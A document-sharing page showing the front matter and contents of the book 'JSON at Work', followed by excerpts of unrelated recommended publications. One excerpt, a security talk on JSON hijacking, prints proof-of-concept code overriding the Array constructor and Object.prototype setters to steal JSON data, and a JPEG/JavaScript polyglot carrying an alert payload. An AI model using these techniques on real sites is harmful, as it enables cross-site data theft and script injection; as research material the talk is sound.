JSON at Work.Pdf

Total Page:16

File Type:pdf, Size:1020Kb

JSON at Work.Pdf JSON at Work PRACTICAL DATA INTEGRATION FOR THE WEB Tom Marrs JSON at Work Practical Data Integration for the Web Tom Marrs Beijing Boston Farnham Sebastopol Tokyo JSON at Work by Tom Marrs Copyright © 2017 Vertical Slice, Inc. All rights reserved. Printed in the United States of America. Published by O’Reilly Media, Inc., 1005 Gravenstein Highway North, Sebastopol, CA 95472. O’Reilly books may be purchased for educational, business, or sales promotional use. Online editions are also available for most titles (http://oreilly.com/safari). For more information, contact our corporate/insti‐ tutional sales department: 800-998-9938 or [email protected]. Editor: Meg Foley Indexer: Ellen Troutman-Zaig Production Editor: Nicholas Adams Interior Designer: David Futato Copyeditor: Sharon Wilkey Cover Designer: Randy Comer Proofreader: Charles Roumeliotis Illustrator: Rebecca Demarest July 2017: First Edition Revision History for the First Edition 2017-06-16: First Release See http://oreilly.com/catalog/errata.csp?isbn=9781449358327 for release details. The O’Reilly logo is a registered trademark of O’Reilly Media, Inc. JSON at Work, the cover image, and related trade dress are trademarks of O’Reilly Media, Inc. While the publisher and the author have used good faith efforts to ensure that the information and instructions contained in this work are accurate, the publisher and the author disclaim all responsibility for errors or omissions, including without limitation responsibility for damages resulting from the use of or reliance on this work. Use of the information and instructions contained in this work is at your own risk. If any code samples or other technology this work contains or describes is subject to open source licenses or the intellectual property rights of others, it is your responsibility to ensure that your use thereof complies with such licenses and/or rights. 978-1-449-35832-7 [LSI] To everyone who produces or consumes JSON data with web/mobile applications, REST APIs, and messaging systems—I hope this makes your job easier. To the unsung JSON community that produces JSON-based tools and libraries for the rest of us—thank you for all your hard work to make JSON useful and meaningful. Table of Contents Preface. xiii Part I. JSON Overview and Platforms 1. JSON Overview. 3 JSON Is a Standard 3 A Brief Sample 4 Why JSON? 6 Core JSON 8 JSON Data Types 8 JSON Value Types 11 JSON Versions 14 JSON Comments 14 JSON File and MIME Type 14 JSON Style Guidelines 15 Our Example—MyConference 17 Our Technical Stack 17 Our Architectural Style—noBackEnd 17 Model JSON Data with JSON Editor Online 18 Generate Sample JSON Data with JSON Generator 20 Create and Deploy a Stub API 20 What We Covered? 24 What’s Next? 24 2. JSON in JavaScript. 25 Node.js Setup 25 JSON Serialization/Deserialization with JSON.stringify() and JSON.parse() 26 v The JSON Stringifier/Parser Object 26 JSON Serialization with Simple JavaScript Data Types 26 JSON Serialization with an Object and toJSON() 29 JSON Deserialization Using eval() 30 JSON Deserialization with an Object and JSON.parse() 31 JavaScript Objects and JSON 32 Node REPL 33 Where to Learn More About JavaScript Objects 35 Unit Testing with a Stub API 35 Unit Test Style—TDD and BDD 35 Just Enough Unit Testing with Mocha and Chai 36 Setting Up the Unit Test 36 Unirest 36 Test Data 37 Speakers Unit Test 37 Building a Small Web Application 39 Yeoman 39 Iteration 1—Generate a Web Application with Yeoman 41 Iteration 2—Make an HTTP Call with jQuery 45 Iteration 3—Consume Speaker Data from a Stub API and Use a Template 49 How to Go Deeper with JavaScript 54 What We Covered 55 What’s Next? 55 3. JSON in Ruby on Rails. 57 Ruby on Rails Setup 57 Ruby JSON Gems 58 JSON Serialization/Deserialization with MultiJson 58 The MultiJson Object 58 JSON Serialization/Deserialization with Simple Ruby Data Types 59 JSON Deserialization with Objects and MultiJson 61 A Word on Camel Casing and JSON 63 JSON Serialization with Objects and ActiveSupport 64 JSON Deserialization with Objects and ActiveSupport 65 Unit Testing with a Stub API 66 Just Enough Unit Testing with Minitest 66 Setting Up the Unit Test 67 Test Data 68 JSON and Minitest Testing with APIs 68 Speakers Unit Test 68 Further Reading on Ruby and Minitest 72 What Is Missing in the Unit Tests? 72 vi | Table of Contents Build a Small Web API with Ruby on Rails 73 Choose a JSON Serializer 73 speakers-api-1—Create an API with Camel-Cased JSON 75 speakers-api-2—Create an API that Customizes the JSON Representation 82 Further Reading on Rails and Rails-based APIs 84 What We Covered 84 What’s Next? 84 4. JSON in Java. 85 Java and Gradle Setup 85 Gradle Overview 85 Just Enough Unit Testing with JUnit 87 Java-Based JSON Libraries 87 JSON Serialization/Deserialization with Jackson 88 Serialization/Deserialization with Simple Java Data Types 88 Serialization/Deserialization with Java Objects 91 Unit Testing with a Stub API 96 Test Data 96 JSON and JUnit Testing with APIs 96 Build a Small Web API with Spring Boot 100 Create the Model 101 Create the Controller 103 Register the Application 104 Write the Build Script 105 Deploy the API 107 Test the API with Postman 107 What We Covered 108 What’s Next? 109 Part II. The JSON Ecosystem 5. JSON Schema. 113 JSON Schema Overview 113 What Is JSON Schema? 113 Syntactic Versus Semantic Validation 114 A Simple Example 114 JSON Schema on the Web 115 Why JSON Schema? 116 My Journey with JSON Schema 117 The Current State of the JSON Schema Standard 117 JSON Schema and XML Schema 117 Table of Contents | vii Core JSON Schema—Basics and Tooling 118 JSON Schema Workflow and Tooling 118 Core Keywords 120 Basic Types 121 Numbers 125 Arrays 126 Enumerated Values 128 Objects 129 Pattern Properties 131 Regular Expressions 133 Dependent Properties 135 Internal References 136 External References 138 Choosing Validation Rules 141 How to Design and Test an API with JSON Schema 146 Our Scenario 146 Model a JSON Document 146 Generate a JSON Schema 148 Validate the JSON Document 151 Generate Sample Data 152 Deploy a Stub API with json-server 155 Final Thoughts on API Design and Testing with JSON Schema 157 Validation Using a JSON Schema Library 157 Where to Go Deeper with JSON Schema 158 What We Covered 158 What’s Next? 158 6. JSON Search. 159 Why JSON Search? 159 JSON Search Libraries and Tools 160 Honorable Mention 160 What to Look For 160 Test Data 161 Setting Up Unit Tests 162 Comparing JSON Search Libraries and Tools 163 JSONPath 163 JSON Pointer 170 jq 173 JSON Search Library and Tool Evaluations—The Bottom Line 184 What We Covered 185 What’s Next? 185 viii | Table of Contents 7. JSON Transform. 187 Types of JSON Transformation 187 What to Look For in a JSON Transform Library 188 Test Input Data 189 JSON-to-HTML Transformation 191 Target HTML Document 191 Mustache 192 Handlebars 198 JSON-to-HTML Transformation Evaluations—The Bottom Line 204 JSON-to-JSON Transform 204 The Issues 205 JSON-to-JSON Transform Libraries 205 Honorable Mention 205 Target JSON Output 206 JSON Patch 207 JSON-T 213 Mustache 217 Handlebars 219 JSON-to-JSON Transformation Evaluations—The Bottom Line 221 JSON-XML Transformation 222 JSON-XML Transformation Conventions 222 The Issues with JSON-XML Transformation Conventions 231 XML-JSON Transform—The Bottom Line 231 JSON-XML Transformation Unit Test 233 What We Covered 235 What’s Next? 235 Part III. JSON in the Enterprise 8. JSON and Hypermedia. 239 Comparing Hypermedia Formats 240 Defining Key Terms 241 My Opinion on Hypermedia 241 Siren 242 JSON-LD 244 Collection+JSON 249 json:api 250 HAL 254 Conclusions on Hypermedia 259 Recommendations for Working with Hypermedia 260 Practical Issues with Hypermedia 260 Table of Contents | ix Testing with HAL in the Speakers API 261 Test Data 261 HAL Unit Test 263 Server-Side HAL 267 Going Deeper with Hypermedia 268 What We Covered 268 What’s Next? 268 9. JSON and MongoDB. 269 What About BSON? 269 MongoDB Setup 270 MongoDB Server and Tools 270 MongoDB Server 270 Importing JSON into MongoDB 271 MongoDB Command Shell 273 Basic CRUD with mongo 274 Exporting from MongoDB to a JSON Document 277 What About Schema? 280 RESTful API Testing with MongoDB 281 Test Input Data 282 Providing a RESTful Wrapper for MongoDB 282 What We Covered 285 What’s Next? 285 10. JSON Messaging with Kafka. 287 Kafka Use Cases 288 Kafka Concepts and Terminology 288 The Kafka Ecosystem—Related Projects 289 Kafka Environment Setup 290 Why Do I Need ZooKeeper? 290 Kafka Command-Line Interface (CLI) 291 How to Publish a JSON Message with the CLI 291 Start ZooKeeper 291 Start Kafka 292 Create a Topic 292 List Topics 293 Start a Consumer 293 Publish a JSON Message 294 Consume a JSON Message 295 Clean Up and Shut Down Kafka 295 Kafka Libraries 297 End-to-End Example—Speaker Proposals at MyConference 297 x | Table of Contents Test Data 297 Architecture Components 299 Set Up the Kafka Environment 300 Set Up Fake Email Server and Client—MailCatcher 301 Set Up Node.js Project Environment 302 Speaker Proposal Producer (Send Speaker Proposals) 302 Proposal Reviewer (Consumer/Producer) 302 Speaker Notifier (Consumer) 308 Review Notification Email Messages with MailCatcher 313 What We Covered 315 A. Installation Guides. 317 B. JSON Community. 335 Index. 337 Table of Contents | xi Preface JavaScript Object Notation (JSON) has become the de facto standard for RESTful interfaces, but an ecosystem of little-known standards, tools, and technologies is available that architects and developers can start using today to build well-designed applications.
Recommended publications
  • AS/NZS ISO 6709:2011 ISO 6709:2008 ISO 6709:2008 Cor.1 (2009) AS/NZS ISO 6709:2011 AS/NZS ISO 6709:2011
    AS/NZS ISO 6709:2011 ISO 6709:2008 ISO 6709:2008 Cor.1 (2009) AS/NZS ISO 6709:2011AS/NZS ISO Australian/New Zealand Standard™ Standard representation of geographic point location by coordinates AS/NZS ISO 6709:2011 This Joint Australian/New Zealand Standard was prepared by Joint Technical Committee IT-004, Geographical Information/Geomatics. It was approved on behalf of the Council of Standards Australia on 15 November 2011 and on behalf of the Council of Standards New Zealand on 14 November 2011. This Standard was published on 23 December 2011. The following are represented on Committee IT-004: ANZLIC—The Spatial Information Council Australasian Fire and Emergency Service Authorities Council Australian Antarctic Division Australian Hydrographic Office Australian Map Circle CSIRO Exploration and Mining Department of Lands, NSW Department of Primary Industries and Water, Tas. Geoscience Australia Land Information New Zealand Mercury Project Solutions Office of Spatial Data Management The University of Melbourne Keeping Standards up-to-date Standards are living documents which reflect progress in science, technology and systems. To maintain their currency, all Standards are periodically reviewed, and new editions are published. Between editions, amendments may be issued. Standards may also be withdrawn. It is important that readers assure themselves they are using a current Standard, which should include any amendments which may have been published since the Standard was purchased. Detailed information about joint Australian/New Zealand Standards can be found by visiting the Standards Web Shop at www.saiglobal.com.au or Standards New Zealand web site at www.standards.co.nz and looking up the relevant Standard in the on-line catalogue.
    [Show full text]
  • JSON Hijacking for the Modern Web About Me
    JSON hijacking For the modern web About me • I’m a researcher at PortSwigger • I love hacking JavaScript let:let{let:[x=1]}=[alert(1)] • I love breaking browsers • @garethheyes History of JSON hijacking • Array constructor attack function Array(){ for(var i=0;i<this.length;i++) { alert(this[i]); } } [1,2,3] • Found by Joe Walker in 2007 • Worked against Gmail in 2007 by Jeremiah Grossman • Fixed in every browser History of JSON hijacking • Object.prototype setter attack Object.prototype.__defineSetter__('user', function(obj){ for(var i in obj) { alert(i + '=' + obj[i]); } }); [{user:{name:"test"}}] • Worked against Twitter • Fixed in every browser Journey of bug discovery James:Can you create a polyglot js/jpeg? Me:Yeah, that sounds like fun. “Polyglot is something that executes in more than one language or format” Anatomy of a jpeg FF D8 FF E0 Anatomy of a jpeg • Start of image marker: FF D8 • Application header: FF E0 00 00 Two bytes we control Anatomy of a jpeg • Guess which two bytes I chose? Rest of app header Valid JS variable • 2F 2A JS comment • /* • FF D8 FF E0 2F 2A 4A 46 49 46 00 01 01 01 00 48 00 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00… Padding of nulls for 0x2f2a Anatomy of a jpeg • Inject our payload inside a jpeg comment • FF FE 00 1C • */=alert("Burp rocks.")/* Anatomy of a jpeg • At the end of the image we need to modify the image data • Close our comment • Inject a single line comment after • */// • 2A 2F 2F 2F FF D9 Anatomy of a jpeg • That should work right? <script src="polyglot/uploads/xss.jpg"></script>
    [Show full text]
  • Document Databases, JSON, Mongodb 17
    MI-PDB, MIE-PDB: Advanced Database Systems http://www.ksi.mff.cuni.cz/~svoboda/courses/2015-2-MIE-PDB/ Lecture 13: Document Databases, JSON, MongoDB 17. 5. 2016 Lecturer: Martin Svoboda [email protected] Authors: Irena Holubová, Martin Svoboda Faculty of Mathematics and Physics, Charles University in Prague Course NDBI040: Big Data Management and NoSQL Databases Document Databases Basic Characteristics Documents are the main concept Stored and retrieved XML, JSON, … Documents are Self-describing Hierarchical tree data structures Can consist of maps, collections, scalar values, nested documents, … Documents in a collection are expected to be similar Their schema can differ Document databases store documents in the value part of the key-value store Key-value stores where the value is examinable Document Databases Suitable Use Cases Event Logging Many different applications want to log events Type of data being captured keeps changing Events can be sharded by the name of the application or type of event Content Management Systems, Blogging Platforms Managing user comments, user registrations, profiles, web-facing documents, … Web Analytics or Real-Time Analytics Parts of the document can be updated New metrics can be easily added without schema changes E-Commerce Applications Flexible schema for products and orders Evolving data models without expensive data migration Document Databases When Not to Use Complex Transactions Spanning Different Operations Atomic cross-document operations Some document databases do support (e.g., RavenDB) Queries against Varying Aggregate Structure Design of aggregate is constantly changing → we need to save the aggregates at the lowest level of granularity i.e., to normalize the data Document Databases Representatives Lotus Notes Storage Facility JSON JavaScript Object Notation Introduction • JSON = JavaScript Object Notation .
    [Show full text]
  • Introduction to JSON (Javascript Object Notation)
    IInnttrroodduuccttiioonn ttoo JJSSOONN ((JJaavvaaSSccrriipptt OObbjjeecctt NNoottaattiioonn)) SSaanngg SShhiinn JJaavvaa TTeecchhnonollogogyy AArrcchhiitteecctt SSunun MMiiccrrososyysstteemmss,, IIncnc.. ssaanngg..sshhiinn@@ssunun..ccoomm wwwwww..jjaavvaapapassssiioon.n.ccoomm Disclaimer & Acknowledgments ● Even though Sang Shin is a full-time employee of Sun Microsystems, the contents here are created as his own personal endeavor and thus does not reflect any official stance of Sun Microsystems 2 Topics • What is JSON? • JSON Data Structure > JSON Object > JSON text • JSON and Java Technology • How to send and receive JSON data at both client and server sides • JSON-RPC • Resources 3 WWhhaatt iiss && WWhhyy JJSSOONN?? What is JSON? • Lightweight data-interchange format > Compared to XML • Simple format > Easy for humans to read and write > Easy for machines to parse and generate • JSON is a text format > Programming language independent > Uses conventions that are familiar to programmers of the C- family of languages, including C, C++, C#, Java, JavaScript, Perl, Python 5 Why Use JSON over XML • Lighter and faster than XML as on-the-wire data format • JSON objects are typed while XML data is typeless > JSON types: string, number, array, boolean, > XML data are all string • Native data form for JavaScript code > Data is readily accessible as JSON objects in your JavaScript code vs. XML data needed to be parsed and assigned to variables through tedious DOM APIs > Retrieving values is as easy as reading from an object property in your JavaScript
    [Show full text]
  • Smart Grid Serialization Comparison
    Downloaded from orbit.dtu.dk on: Sep 28, 2021 Smart Grid Serialization Comparison Petersen, Bo Søborg; Bindner, Henrik W.; You, Shi; Poulsen, Bjarne Published in: Computing Conference 2017 Link to article, DOI: 10.1109/SAI.2017.8252264 Publication date: 2017 Document Version Peer reviewed version Link back to DTU Orbit Citation (APA): Petersen, B. S., Bindner, H. W., You, S., & Poulsen, B. (2017). Smart Grid Serialization Comparison. In Computing Conference 2017 (pp. 1339-1346). IEEE. https://doi.org/10.1109/SAI.2017.8252264 General rights Copyright and moral rights for the publications made accessible in the public portal are retained by the authors and/or other copyright owners and it is a condition of accessing publications that users recognise and abide by the legal requirements associated with these rights. Users may download and print one copy of any publication from the public portal for the purpose of private study or research. You may not further distribute the material or use it for any profit-making activity or commercial gain You may freely distribute the URL identifying the publication in the public portal If you believe that this document breaches copyright please contact us providing details, and we will remove access to the work immediately and investigate your claim. Computing Conference 2017 18-20 July 2017 | London, UK Smart Grid Serialization Comparision Comparision of serialization for distributed control in the context of the Internet of Things Bo Petersen, Henrik Bindner, Shi You Bjarne Poulsen DTU Electrical Engineering DTU Compute Technical University of Denmark Technical University of Denmark Lyngby, Denmark Lyngby, Denmark [email protected], [email protected], [email protected] [email protected] Abstract—Communication between DERs and System to ensure that the control messages are received within a given Operators is required to provide Demand Response and solve timeframe, depending on the needs of the power grid.
    [Show full text]
  • Java Web Application with Database Example
    Java Web Application With Database Example Amerindian Verne sheafs very spaciously while Torrence remains blond and suprasegmental. Udall herdialyses strappers her sayings underselling afore, too shouldered furtively? and disciplinal. Collins remains pigeon-hearted: she barbarises Java and with web delivered to tomcat using an application server successfully authenticated Our database like to databases because docker container environment. Service to mask the box Data JPA implementation. Here is one example application by all credits must create. Updates may also displays in web delivered right click next thing we are looking for creating accounts, please follow this example application depends on. In role based on gke app running directly click add constraint public web application example by a middleware between records in your application for more than other systems. This is maven in java web framework puts developer productivity and dispatches to learn more? Now we tie everything is web application example? This file and brief other dependency files are provided anytime a ZIP archive letter can be downloaded with force link provided at the hen of this tutorial. Confirming these three developers to let see also with database access, jstl to it returns the same infrastructure. What database web container takes care of java and examples. As applications with database support plans that connect to implement nested class names and infrastructure to display correctly set outo commit multiple user interface for. The wizard will ask you to select the schema and the tables of your database and allows you to select the users and groups tables, run related transactions, the last step is to create XML file and add all the mappings to it.
    [Show full text]
  • Contributing to the Getty Vocabularies (2020)
    Contributing to the Getty Vocabularies Revised May 2020 Patricia Harpring Managing Editor Getty Vocabulary Program Patricia Harpring Contributing to the Getty Vocabularies revised 13 May 2020 1 Table of Contents • Contributing to ULAN ….76 • Preface ….3 • ...Required Fields ….82 • What Are the Getty Vocabularies …5 • ...Sources ….99 • Basics for Contributions ….18 • Contributing to TGN ….103 • ...Who Contributes? ….19 • ...Required Fields ….109... • ...Processing Contributions ….21 • Sources ….122 • ...Criteria for Contributions ….23 • Contributing to CONA ….128 • ...XML: Mapping Your Data ….30 • ...Required Fields ….134 • …Spreadsheet: use OpenRefine...33 • ...Sources ….156 • …Online contribution form …35 • Contributing to the IA ….163 • Contributing to the AAT ….36 • ...Required Fields ….168 • ...Required Fields ….42 • ...Sources ….181 • ...Sources ...68 • Exercise ……. 188 Contributing to the Getty Vocabularies Patricia Harpring Contributing to the Getty Vocabularies revised 13 May 2020 2 Preface • This presentation is a brief overview of general issues surrounding contributions to the Getty Vocabularies • It includes examples of various issues surrounding contributions; it is not comprehensive Getty Vocabularies • The complex and extensive rules and examples surrounding the fields are not included in this presentation • For extensive guidance concerning rules and issues, in a field‐by‐field discussion, see the online • For general information about contributions and Getty Vocabulary Editorial Guidelines, which contain links to contribution
    [Show full text]
  • Spindle Documentation Release 2.0.0
    spindle Documentation Release 2.0.0 Jorge Ortiz, Jason Liszka June 08, 2016 Contents 1 Thrift 3 1.1 Data model................................................3 1.2 Interface definition language (IDL)...................................4 1.3 Serialization formats...........................................4 2 Records 5 2.1 Creating a record.............................................5 2.2 Reading/writing records.........................................6 2.3 Record interface methods........................................6 2.4 Other methods..............................................7 2.5 Mutable trait...............................................7 2.6 Raw class.................................................7 2.7 Priming..................................................7 2.8 Proxies..................................................8 2.9 Reflection.................................................8 2.10 Field descriptors.............................................8 3 Custom types 9 3.1 Enhanced types..............................................9 3.2 Bitfields..................................................9 3.3 Type-safe IDs............................................... 10 4 Enums 13 4.1 Enum value methods........................................... 13 4.2 Companion object methods....................................... 13 4.3 Matching and unknown values...................................... 14 4.4 Serializing to string............................................ 14 4.5 Examples................................................. 14 5 Working
    [Show full text]
  • Basex Server
    BaseX Documentation Version 7.8 BaseX Documentation: Version 7.8 Content is available under Attribution-ShareAlike 3.0 Unported (CC BY-SA 3.0). Table of Contents 1. Main Page .............................................................................................................................. 1 Getting Started .................................................................................................................. 1 XQuery Portal .................................................................................................................... 1 Advanced User's Guide ..................................................................................................... 2 I. Getting Started ........................................................................................................................ 3 2. Command-Line Options ................................................................................................... 4 BaseX Standalone ..................................................................................................... 4 BaseX Server ............................................................................................................ 6 BaseX Client ............................................................................................................. 7 BaseX HTTP Server .................................................................................................. 9 BaseX GUI .............................................................................................................
    [Show full text]
  • Coffeescript Accelerated Javascript Development, Second Edition
    Extracted from: CoffeeScript Accelerated JavaScript Development, Second Edition This PDF file contains pages extracted from CoffeeScript, published by the Prag- matic Bookshelf. For more information or to purchase a paperback or PDF copy, please visit http://www.pragprog.com. Note: This extract contains some colored text (particularly in code listing). This is available only in online versions of the books. The printed versions are black and white. Pagination might vary between the online and printed versions; the content is otherwise identical. Copyright © 2015 The Pragmatic Programmers, LLC. All rights reserved. No part of this publication may be reproduced, stored in a retrieval system, or transmitted, in any form, or by any means, electronic, mechanical, photocopying, recording, or otherwise, without the prior consent of the publisher. The Pragmatic Bookshelf Dallas, Texas • Raleigh, North Carolina CoffeeScript Accelerated JavaScript Development, Second Edition Trevor Burnham The Pragmatic Bookshelf Dallas, Texas • Raleigh, North Carolina Many of the designations used by manufacturers and sellers to distinguish their products are claimed as trademarks. Where those designations appear in this book, and The Pragmatic Programmers, LLC was aware of a trademark claim, the designations have been printed in initial capital letters or in all capitals. The Pragmatic Starter Kit, The Pragmatic Programmer, Pragmatic Programming, Pragmatic Bookshelf, PragProg and the linking g device are trade- marks of The Pragmatic Programmers, LLC. Every precaution was taken in the preparation of this book. However, the publisher assumes no responsibility for errors or omissions, or for damages that may result from the use of information (including program listings) contained herein. Our Pragmatic courses, workshops, and other products can help you and your team create better software and have more fun.
    [Show full text]
  • Open Source Used in Quantum SON Suite 18C
    Open Source Used In Cisco SON Suite R18C Cisco Systems, Inc. www.cisco.com Cisco has more than 200 offices worldwide. Addresses, phone numbers, and fax numbers are listed on the Cisco website at www.cisco.com/go/offices. Text Part Number: 78EE117C99-185964180 Open Source Used In Cisco SON Suite R18C 1 This document contains licenses and notices for open source software used in this product. With respect to the free/open source software listed in this document, if you have any questions or wish to receive a copy of any source code to which you may be entitled under the applicable free/open source license(s) (such as the GNU Lesser/General Public License), please contact us at [email protected]. In your requests please include the following reference number 78EE117C99-185964180 Contents 1.1 argparse 1.2.1 1.1.1 Available under license 1.2 blinker 1.3 1.2.1 Available under license 1.3 Boost 1.35.0 1.3.1 Available under license 1.4 Bunch 1.0.1 1.4.1 Available under license 1.5 colorama 0.2.4 1.5.1 Available under license 1.6 colorlog 0.6.0 1.6.1 Available under license 1.7 coverage 3.5.1 1.7.1 Available under license 1.8 cssmin 0.1.4 1.8.1 Available under license 1.9 cyrus-sasl 2.1.26 1.9.1 Available under license 1.10 cyrus-sasl/apsl subpart 2.1.26 1.10.1 Available under license 1.11 cyrus-sasl/cmu subpart 2.1.26 1.11.1 Notifications 1.11.2 Available under license 1.12 cyrus-sasl/eric young subpart 2.1.26 1.12.1 Notifications 1.12.2 Available under license Open Source Used In Cisco SON Suite R18C 2 1.13 distribute 0.6.34
    [Show full text]
  • On the Naming of Methods: a Survey of Professional Developers
    On the Naming of Methods: A Survey of Professional Developers Reem S. Alsuhaibani Christian D. Newman Michael J. Decker Michael L. Collard Jonathan I. Maletic Computer Science Software Engineering Computer Science Computer Science Computer Science Kent State University Rochester Institute of Bowling Green State The University of Akron Kent State University Prince Sultan University Technology University Ohio, USA Ohio, USA Riyadh, Saudi Arabia New York, USA Ohio, USA [email protected] [email protected] [email protected] [email protected] [email protected] Abstract—This paper describes the results of a large (+1100 Here, we focus specifically on the names given to methods responses) survey of professional software developers concerning in object-oriented software systems. However, much of this also standards for naming source code methods. The various applies to (free) functions in non-object-oriented systems (or standards for source code method names are derived from and parts). We focus on methods for several reasons. First, we are supported in the software engineering literature. The goal of the interested in method naming in the context of automatic method survey is to determine if there is a general consensus among summarization and documentation. Furthermore, different developers that the standards are accepted and used in practice. programming language constructs have their own naming Additionally, the paper examines factors such as years of guidelines. That is, local variables are named differently than experience and programming language knowledge in the context methods, which are named differently than classes [10,11]. Of of survey responses. The survey results show that participants these, prior work has found that function names have the largest very much agree about the importance of various standards and how they apply to names and that years of experience and the number of unique name variants when analyzed at the level of programming language has almost no effect on their responses.
    [Show full text]